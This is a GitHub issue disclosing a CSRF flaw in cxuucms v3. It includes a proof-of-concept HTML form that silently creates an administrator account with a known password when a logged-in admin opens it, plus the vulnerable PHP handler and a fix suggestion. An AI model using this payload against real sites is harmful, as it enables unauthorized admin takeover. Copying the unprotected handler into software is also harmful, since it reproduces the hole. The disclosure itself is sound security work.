


New issue

[Jump to bottom](#)

There is one CSRF vulnerability that can add the administrator account. #5

 henzimeibian opened this issue on Dec 6, 2020 · 0 comments

henzimeibian commented on Dec 6, 2020

Title : There is one CSRF vulnerability in cxuucms3 that can add the administrator account**Description :** After the administrator logged in, open the following page, an administrator account will be created. And attacker can log in to the background using the created account and password.**Poc:**

one.html---Submuit request

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/admin.php?c=adminuser&a=add" method="POST">
  <input type="hidden" name="gid" value="2" />
  <input type="hidden" name="username" value="CSRFTEST" />
  <input type="hidden" name="nickname" value="csrftest" />
  <input type="hidden" name="password" value="abcd1234" />
  <input type="hidden" name="status" value="1" />
  <input type="hidden" name="id" value="4" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

files : cxuucmsv3/app/admin/v1.0/ctrl/adminuser.class.php

```
public static function add(){
    adminrole::auth();//判断用户权限
    if(!isset($_POST['username'])){
        json(array('status'=> 0, 'info'=>'请填写必填数据! '));
    }
    //验证用户名是否存在
    $m = new admin_user;
    $check = $m->checkNameData();
    if($check){
        json(array('status'=> 0, 'info'=>'用户名已经存在! '));
    }

    $result = $m->insertData();
    if($result['status']){
        json(array('status'=> $result['status'], 'info'=>$result['msg']));
    }else{
        json(array('status'=> $result['status'], 'info'=>$result['msg']));
    }
}
```

cxuucmsv3/app/admin/v1.0/model/admin_user.class.php

```
public function insertData()
{
    //插入数据信息部分
    $db = $this->db('admin_user');
    $data = [
        'gid' => $_POST['gid'],
        'username' => $_POST['username'],
        'nickname' => $_POST['nickname'],
        'password' => md5(trim($_POST['password'])),
        'status' => $_POST['status'],
    ];
    $re_key = $db->insert($data);//$this->error($db->getError());
    if($re_key){
        $result = ['key' => $re_key, 'status' => 1, 'msg' => '添加成功', 'cid' => $_POST['cid']];
    }else{
        $result = ['status' => 0, 'msg' => '数据错误! 添加失败'];
    }
    return $result;
}
```

Suggest : Verify referer or token before submitting request.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

